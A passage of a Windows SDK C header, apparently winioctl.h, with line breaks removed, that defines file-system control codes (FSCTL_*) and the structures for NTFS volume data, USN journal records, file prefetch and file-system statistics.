CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 21, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_QUERY_FAT_BPB CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 22, METHOD_BUFFERED, FILE_ANY_ACCESS) // FSCTL_QUERY_FAT_BPB_BUFFER #define FSCTL_REQUEST_FILTER_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 23, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_FILESYSTEM_GET_STATISTICS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 24, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILESYSTEM_STATISTICS #if (_WIN32_WINNT >= 0x0400) #define FSCTL_GET_NTFS_VOLUME_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_VOLUME_DATA_BUFFER #define FSCTL_GET_NTFS_FILE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 26, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_FILE_RECORD_INPUT_BUFFER, NTFS_FILE_RECORD_OUTPUT_BUFFER #define FSCTL_GET_VOLUME_BITMAP CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 27, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_LCN_INPUT_BUFFER, VOLUME_BITMAP_BUFFER #define FSCTL_GET_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER #define FSCTL_MOVE_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 29, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // MOVE_FILE_DATA, #define FSCTL_IS_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 30, METHOD_BUFFERED, FILE_ANY_ACCESS) // decommissioned fsctl value 31 #define FSCTL_ALLOW_EXTENDED_DASD_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 32, METHOD_NEITHER, FILE_ANY_ACCESS) #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0500) // decommissioned fsctl value 33 // decommissioned fsctl value 34 #define FSCTL_FIND_FILES_BY_SID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 35, METHOD_NEITHER, FILE_ANY_ACCESS) // decommissioned fsctl value 36 // decommissioned fsctl value 37 #define FSCTL_SET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 38, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_OBJECTID_BUFFER #define FSCTL_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 39, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER #define FSCTL_DELETE_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 40, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) #define FSCTL_SET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 41, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, #define FSCTL_GET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 42, METHOD_BUFFERED, FILE_ANY_ACCESS) // REPARSE_DATA_BUFFER #define FSCTL_DELETE_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 43, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, #define FSCTL_ENUM_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 44, METHOD_NEITHER, FILE_ANY_ACCESS) // MFT_ENUM_DATA, #define FSCTL_SECURITY_ID_CHECK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 45, METHOD_NEITHER, FILE_READ_DATA) // BULK_SECURITY_TEST_DATA, #define FSCTL_READ_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 46, METHOD_NEITHER, FILE_ANY_ACCESS) // READ_USN_JOURNAL_DATA, USN #define FSCTL_SET_OBJECT_ID_EXTENDED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 47, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) #define FSCTL_CREATE_OR_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 48, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER #define FSCTL_SET_SPARSE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 49, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) #define FSCTL_SET_ZERO_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 50, METHOD_BUFFERED, FILE_WRITE_DATA) // FILE_ZERO_DATA_INFORMATION, #define FSCTL_QUERY_ALLOCATED_RANGES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 51, METHOD_NEITHER, FILE_READ_DATA) // FILE_ALLOCATED_RANGE_BUFFER, FILE_ALLOCATED_RANGE_BUFFER #define FSCTL_ENABLE_UPGRADE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 52, METHOD_BUFFERED, FILE_WRITE_DATA) // decommissioned fsctl value 52 #define FSCTL_SET_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 53, METHOD_NEITHER, FILE_ANY_ACCESS) // ENCRYPTION_BUFFER, DECRYPTION_STATUS_BUFFER #define FSCTL_ENCRYPTION_FSCTL_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 54, METHOD_NEITHER, FILE_ANY_ACCESS) #define FSCTL_WRITE_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 55, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO #define FSCTL_READ_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 56, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // REQUEST_RAW_ENCRYPTED_DATA, ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO #define FSCTL_CREATE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 57, METHOD_NEITHER, FILE_ANY_ACCESS) // CREATE_USN_JOURNAL_DATA, #define FSCTL_READ_FILE_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 58, METHOD_NEITHER, FILE_ANY_ACCESS) // Read the Usn Record for a file #define FSCTL_WRITE_USN_CLOSE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 59, METHOD_NEITHER, FILE_ANY_ACCESS) // Generate Close Usn Record #define FSCTL_EXTEND_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 60, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_QUERY_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 61, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_DELETE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 62, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_MARK_HANDLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 63, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_SIS_COPYFILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 64, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_SIS_LINK_FILES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 65, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) // decommissional fsctl value 66 // decommissioned fsctl value 67 // decommissioned fsctl value 68 #define FSCTL_RECALL_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 69, METHOD_NEITHER, FILE_ANY_ACCESS) // decommissioned fsctl value 70 #define FSCTL_READ_FROM_PLEX CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 71, METHOD_OUT_DIRECT, FILE_READ_DATA) #define FSCTL_FILE_PREFETCH CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 72, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_PREFETCH #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0600) #define FSCTL_MAKE_MEDIA_COMPATIBLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 76, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W #define FSCTL_SET_DEFECT_MANAGEMENT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 77, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W #define FSCTL_QUERY_SPARING_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 78, METHOD_BUFFERED, FILE_ANY_ACCESS) // UDFS R/W #define FSCTL_QUERY_ON_DISK_VOLUME_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 79, METHOD_BUFFERED, FILE_ANY_ACCESS) // C/UDFS #define FSCTL_SET_VOLUME_COMPRESSION_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 80, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // VOLUME_COMPRESSION_STATE // decommissioned fsctl value 80 #define FSCTL_TXFS_MODIFY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 81, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_QUERY_RM_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 82, METHOD_BUFFERED, FILE_READ_DATA) // TxF // decommissioned fsctl value 83 #define FSCTL_TXFS_ROLLFORWARD_REDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 84, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_ROLLFORWARD_UNDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 85, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_START_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 86, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_SHUTDOWN_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 87, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_READ_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 88, METHOD_BUFFERED, FILE_READ_DATA) // TxF #define FSCTL_TXFS_WRITE_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 89, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_CREATE_SECONDARY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 90, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_GET_METADATA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 91, METHOD_BUFFERED, FILE_READ_DATA) // TxF #define FSCTL_TXFS_GET_TRANSACTED_VERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 92, METHOD_BUFFERED, FILE_READ_DATA) // TxF // decommissioned fsctl value 93 #define FSCTL_TXFS_SAVEPOINT_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 94, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_CREATE_MINIVERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 95, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF // decommissioned fsctl value 96 // decommissioned fsctl value 97 // decommissioned fsctl value 98 #define FSCTL_TXFS_TRANSACTION_ACTIVE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 99, METHOD_BUFFERED, FILE_READ_DATA) // TxF #define FSCTL_SET_ZERO_ON_DEALLOCATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 101, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) #define FSCTL_SET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 102, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_GET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 103, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_WAIT_FOR_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 104, METHOD_BUFFERED, FILE_ANY_ACCESS) // decommissioned fsctl value 105 #define FSCTL_INITIATE_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 106, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_CSC_INTERNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 107, METHOD_NEITHER, FILE_ANY_ACCESS) // CSC internal implementation #define FSCTL_SHRINK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 108, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // SHRINK_VOLUME_INFORMATION #define FSCTL_SET_SHORT_NAME_BEHAVIOR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 109, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_DFSR_SET_GHOST_HANDLE_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 110, METHOD_BUFFERED, FILE_ANY_ACCESS) // // Values 111 - 119 are reserved for FSRM. // #define FSCTL_TXFS_LIST_TRANSACTION_LOCKED_FILES \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 120, METHOD_BUFFERED, FILE_READ_DATA) // TxF #define FSCTL_TXFS_LIST_TRANSACTIONS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 121, METHOD_BUFFERED, FILE_READ_DATA) // TxF #define FSCTL_QUERY_PAGEFILE_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 122, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif /* _WIN32_WINNT >= 0x0600 */ #if (_WIN32_WINNT >= 0x0600) #define FSCTL_RESET_VOLUME_ALLOCATION_HINTS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 123, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif /* _WIN32_WINNT >= 0x0600 */ #if (_WIN32_WINNT >= 0x0601) #define FSCTL_QUERY_DEPENDENT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 124, METHOD_BUFFERED, FILE_ANY_ACCESS) // Dependency File System Filter #define FSCTL_SD_GLOBAL_CHANGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 125, METHOD_BUFFERED, FILE_ANY_ACCESS) // Update NTFS Security Descriptors #endif /* _WIN32_WINNT >= 0x0601 */ #if (_WIN32_WINNT >= 0x0600) #define FSCTL_TXFS_READ_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 126, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF #endif /* _WIN32_WINNT >= 0x0600 */ #if (_WIN32_WINNT >= 0x0601) #define FSCTL_LOOKUP_STREAM_FROM_CLUSTER CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 127, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_TXFS_WRITE_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 128, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF #define FSCTL_FILE_TYPE_NOTIFICATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 129, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif // Values 130 - 130 are available // Values 131 - 139 are reserved for FSRM. #if (_WIN32_WINNT >= 0x0601) #define FSCTL_GET_BOOT_AREA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 140, METHOD_BUFFERED, FILE_ANY_ACCESS) // BOOT_AREA_INFO #define FSCTL_GET_RETRIEVAL_POINTER_BASE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 141, METHOD_BUFFERED, FILE_ANY_ACCESS) // RETRIEVAL_POINTER_BASE #define FSCTL_SET_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 142, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION #define FSCTL_QUERY_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 143, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION #define FSCTL_REQUEST_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_CSV_TUNNEL_REQUEST CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 145, METHOD_BUFFERED, FILE_ANY_ACCESS) // CSV_TUNNEL_REQUEST #define FSCTL_IS_CSV_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 146, METHOD_BUFFERED, FILE_ANY_ACCESS) // IS_CSV_FILE #define FSCTL_QUERY_FILE_SYSTEM_RECOGNITION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 147, METHOD_BUFFERED, FILE_ANY_ACCESS) // #define FSCTL_CSV_GET_VOLUME_PATH_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 148, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_CSV_GET_VOLUME_NAME_FOR_VOLUME_MOUNT_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 149, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_CSV_GET_VOLUME_PATH_NAMES_FOR_VOLUME_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 150, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_IS_FILE_ON_CSV_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 151, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif /* _WIN32_WINNT >= 0x0601 */ #define FSCTL_MARK_AS_SYSTEM_HIVE FSCTL_SET_BOOTLOADER_ACCESSED #if(_WIN32_WINNT >= 0x0601) typedef struct _CSV_NAMESPACE_INFO { ULONG Version; ULONG DeviceNumber; LARGE_INTEGER StartingOffset; ULONG SectorSize; } CSV_NAMESPACE_INFO, *PCSV_NAMESPACE_INFO; #define CSV_NAMESPACE_INFO_V1 (sizeof(CSV_NAMESPACE_INFO)) #define CSV_INVALID_DEVICE_NUMBER 0xFFFFFFFF #endif /* _WIN32_WINNT >= 0x0601 */ typedef struct _PATHNAME_BUFFER { ULONG PathNameLength; WCHAR Name[1]; } PATHNAME_BUFFER, *PPATHNAME_BUFFER; typedef struct _FSCTL_QUERY_FAT_BPB_BUFFER { UCHAR First0x24BytesOfBootSector[0x24]; } FSCTL_QUERY_FAT_BPB_BUFFER, *PFSCTL_QUERY_FAT_BPB_BUFFER; #if (_WIN32_WINNT >= 0x0400) typedef struct { LARGE_INTEGER VolumeSerialNumber; LARGE_INTEGER NumberSectors; LARGE_INTEGER TotalClusters; LARGE_INTEGER FreeClusters; LARGE_INTEGER TotalReserved; ULONG BytesPerSector; ULONG BytesPerCluster; ULONG BytesPerFileRecordSegment; ULONG ClustersPerFileRecordSegment; LARGE_INTEGER MftValidDataLength; LARGE_INTEGER MftStartLcn; LARGE_INTEGER Mft2StartLcn; LARGE_INTEGER MftZoneStart; LARGE_INTEGER MftZoneEnd; } NTFS_VOLUME_DATA_BUFFER, *PNTFS_VOLUME_DATA_BUFFER; typedef struct { ULONG ByteCount; USHORT MajorVersion; USHORT MinorVersion; } NTFS_EXTENDED_VOLUME_DATA, *PNTFS_EXTENDED_VOLUME_DATA; #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0400) typedef struct { LARGE_INTEGER StartingLcn; } STARTING_LCN_INPUT_BUFFER, *PSTARTING_LCN_INPUT_BUFFER; typedef struct { LARGE_INTEGER StartingLcn; LARGE_INTEGER BitmapSize; UCHAR Buffer[1]; } VOLUME_BITMAP_BUFFER, *PVOLUME_BITMAP_BUFFER; #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0400) typedef struct { LARGE_INTEGER StartingVcn; } STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER; typedef struct RETRIEVAL_POINTERS_BUFFER { ULONG ExtentCount; LARGE_INTEGER StartingVcn; struct { LARGE_INTEGER NextVcn; LARGE_INTEGER Lcn; } Extents[1]; } RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER; #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0400) typedef struct { LARGE_INTEGER FileReferenceNumber; } NTFS_FILE_RECORD_INPUT_BUFFER, *PNTFS_FILE_RECORD_INPUT_BUFFER; typedef struct { LARGE_INTEGER FileReferenceNumber; ULONG FileRecordLength; UCHAR FileRecordBuffer[1]; } NTFS_FILE_RECORD_OUTPUT_BUFFER, *PNTFS_FILE_RECORD_OUTPUT_BUFFER; #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0400) typedef struct { HANDLE FileHandle; LARGE_INTEGER StartingVcn; LARGE_INTEGER StartingLcn; ULONG ClusterCount; } MOVE_FILE_DATA, *PMOVE_FILE_DATA; typedef struct { HANDLE FileHandle; LARGE_INTEGER SourceFileRecord; LARGE_INTEGER TargetFileRecord; } MOVE_FILE_RECORD_DATA, *PMOVE_FILE_RECORD_DATA; #if defined(_WIN64) typedef struct _MOVE_FILE_DATA32 { UINT32 FileHandle; LARGE_INTEGER StartingVcn; LARGE_INTEGER StartingLcn; ULONG ClusterCount; } MOVE_FILE_DATA32, *PMOVE_FILE_DATA32; #endif #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0500) typedef struct { ULONG Restart; SID Sid; } FIND_BY_SID_DATA, *PFIND_BY_SID_DATA; typedef struct { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FIND_BY_SID_OUTPUT, *PFIND_BY_SID_OUTPUT; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct { ULONGLONG StartFileReferenceNumber; USN LowUsn; USN HighUsn; } MFT_ENUM_DATA, *PMFT_ENUM_DATA; typedef struct { ULONGLONG MaximumSize; ULONGLONG AllocationDelta; } CREATE_USN_JOURNAL_DATA, *PCREATE_USN_JOURNAL_DATA; typedef struct { USN StartUsn; ULONG ReasonMask; ULONG ReturnOnlyOnClose; ULONGLONG Timeout; ULONGLONG BytesToWaitFor; ULONGLONG UsnJournalID; } READ_USN_JOURNAL_DATA, *PREAD_USN_JOURNAL_DATA; typedef struct { ULONG RecordLength; USHORT MajorVersion; USHORT MinorVersion; ULONGLONG FileReferenceNumber; ULONGLONG ParentFileReferenceNumber; USN Usn; LARGE_INTEGER TimeStamp; ULONG Reason; ULONG SourceInfo; ULONG SecurityId; ULONG FileAttributes; USHORT FileNameLength; USHORT FileNameOffset; WCHAR FileName[1]; } USN_RECORD, *PUSN_RECORD; #define USN_PAGE_SIZE (0x1000) #define USN_REASON_DATA_OVERWRITE (0x00000001) #define USN_REASON_DATA_EXTEND (0x00000002) #define USN_REASON_DATA_TRUNCATION (0x00000004) #define USN_REASON_NAMED_DATA_OVERWRITE (0x00000010) #define USN_REASON_NAMED_DATA_EXTEND (0x00000020) #define USN_REASON_NAMED_DATA_TRUNCATION (0x00000040) #define USN_REASON_FILE_CREATE (0x00000100) #define USN_REASON_FILE_DELETE (0x00000200) #define USN_REASON_EA_CHANGE (0x00000400) #define USN_REASON_SECURITY_CHANGE (0x00000800) #define USN_REASON_RENAME_OLD_NAME (0x00001000) #define USN_REASON_RENAME_NEW_NAME (0x00002000) #define USN_REASON_INDEXABLE_CHANGE (0x00004000) #define USN_REASON_BASIC_INFO_CHANGE (0x00008000) #define USN_REASON_HARD_LINK_CHANGE (0x00010000) #define USN_REASON_COMPRESSION_CHANGE (0x00020000) #define USN_REASON_ENCRYPTION_CHANGE (0x00040000) #define USN_REASON_OBJECT_ID_CHANGE (0x00080000) #define USN_REASON_REPARSE_POINT_CHANGE (0x00100000) #define USN_REASON_STREAM_CHANGE (0x00200000) #define USN_REASON_TRANSACTED_CHANGE (0x00400000) #define USN_REASON_CLOSE (0x80000000) typedef struct { ULONGLONG UsnJournalID; USN FirstUsn; USN NextUsn; USN LowestValidUsn; USN MaxUsn; ULONGLONG MaximumSize; ULONGLONG AllocationDelta; } USN_JOURNAL_DATA, *PUSN_JOURNAL_DATA; typedef struct { ULONGLONG UsnJournalID; ULONG DeleteFlags; } DELETE_USN_JOURNAL_DATA, *PDELETE_USN_JOURNAL_DATA; #define USN_DELETE_FLAG_DELETE (0x00000001) #define USN_DELETE_FLAG_NOTIFY (0x00000002) #define USN_DELETE_VALID_FLAGS (0x00000003) typedef struct { ULONG UsnSourceInfo; HANDLE VolumeHandle; ULONG HandleInfo; } MARK_HANDLE_INFO, *PMARK_HANDLE_INFO; #if defined(_WIN64) typedef struct { ULONG UsnSourceInfo; UINT32 VolumeHandle; ULONG HandleInfo; } MARK_HANDLE_INFO32, *PMARK_HANDLE_INFO32; #endif #define USN_SOURCE_DATA_MANAGEMENT (0x00000001) #define USN_SOURCE_AUXILIARY_DATA (0x00000002) #define USN_SOURCE_REPLICATION_MANAGEMENT (0x00000004) #define MARK_HANDLE_PROTECT_CLUSTERS (0x00000001) #define MARK_HANDLE_TXF_SYSTEM_LOG (0x00000004) #define MARK_HANDLE_NOT_TXF_SYSTEM_LOG (0x00000008) #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0601) #define MARK_HANDLE_REALTIME (0x00000020) #define MARK_HANDLE_NOT_REALTIME (0x00000040) #define NO_8DOT3_NAME_PRESENT (0x00000001) #define REMOVED_8DOT3_NAME (0x00000002) #define PERSISTENT_VOLUME_STATE_SHORT_NAME_CREATION_DISABLED (0x00000001) #endif /* _WIN32_WINNT >= 0x0601 */ #if (_WIN32_WINNT >= 0x0500) typedef struct { ACCESS_MASK DesiredAccess; ULONG SecurityIds[1]; } BULK_SECURITY_TEST_DATA, *PBULK_SECURITY_TEST_DATA; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) #define VOLUME_IS_DIRTY (0x00000001) #define VOLUME_UPGRADE_SCHEDULED (0x00000002) #define VOLUME_SESSION_OPEN (0x00000004) #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _FILE_PREFETCH { ULONG Type; ULONG Count; ULONGLONG Prefetch[1]; } FILE_PREFETCH, *PFILE_PREFETCH; typedef struct _FILE_PREFETCH_EX { ULONG Type; ULONG Count; PVOID Context; ULONGLONG Prefetch[1]; } FILE_PREFETCH_EX, *PFILE_PREFETCH_EX; #define FILE_PREFETCH_TYPE_FOR_CREATE 0x1 #define FILE_PREFETCH_TYPE_FOR_DIRENUM 0x2 #define FILE_PREFETCH_TYPE_FOR_CREATE_EX 0x3 #define FILE_PREFETCH_TYPE_FOR_DIRENUM_EX 0x4 #define FILE_PREFETCH_TYPE_MAX 0x4 #endif /* _WIN32_WINNT >= 0x0500 */ typedef struct _FILESYSTEM_STATISTICS { USHORT FileSystemType; USHORT Version; // currently version 1 ULONG SizeOfCompleteStructure; // must by a multiple of 64 bytes ULONG UserFileReads; ULONG UserFileReadBytes; ULONG UserDiskReads; ULONG UserFileWrites; ULONG UserFileWriteBytes; ULONG UserDiskWrites; ULONG MetaDataReads; ULONG MetaDataReadBytes; ULONG MetaDataDiskReads; ULONG MetaDataWrites; ULONG MetaDataWriteBytes; ULONG MetaDataDiskWrites; } FILESYSTEM_STATISTICS, *PFILESYSTEM_STATISTICS; // values for FS_STATISTICS.FileSystemType #define FILESYSTEM_STATISTICS_TYPE_NTFS 1 #define FILESYSTEM_STATISTICS_TYPE_FAT 2 #define FILESYSTEM_STATISTICS_TYPE_EXFAT 3 typedef struct _FAT_STATISTICS { ULONG CreateHits; ULONG SuccessfulCreates; ULONG FailedCreates; ULONG NonCachedReads; ULONG NonCachedReadBytes; ULONG NonCachedWrites; ULONG NonCachedWriteBytes; ULONG NonCachedDiskReads; ULONG NonCachedDiskWrites; } FAT_STATISTICS, *PFAT_STATISTICS; typedef struct _EXFAT_STATISTICS { ULONG CreateHits; ULONG SuccessfulCreates; ULONG FailedCreates; ULONG NonCachedReads; ULONG NonCachedReadBytes; ULONG NonCachedWrites; ULONG NonCachedWriteBytes; ULONG NonCachedDiskReads; ULONG NonCachedDiskWrites; } EXFAT_STATISTICS, *PEXFAT_STATISTICS; typedef struct _NTFS_STATISTICS { ULONG LogFileFullExceptions; ULONG OtherExceptions; ULONG MftReads; ULONG MftReadBytes; ULONG MftWrites; ULONG MftWriteBytes; struct { USHORT Write; USHORT Create; USHORT SetInfo; USHORT Flush; } MftWritesUserLevel; USHORT MftWritesFlushForLogFileFull; USHORT MftWritesLazyWriter; USHORT MftWritesUserRequest; ULONG Mft2Writes; ULONG Mft2WriteBytes; struct { USHORT Write; USHORT Create; USHORT SetInfo; USHORT Flush; } Mft2WritesUserLevel; USHORT Mft2WritesFlushForLogFileFull; USHORT Mft2WritesLazyWriter; USHORT Mft2WritesUserRequest; ULONG RootIndexReads; ULONG RootIndexReadBytes; ULONG RootIndexWrites; ULONG RootIndexWriteBytes; ULONG BitmapReads; ULONG BitmapReadBytes; ULONG BitmapWrites; ULONG BitmapWriteBytes; USHORT 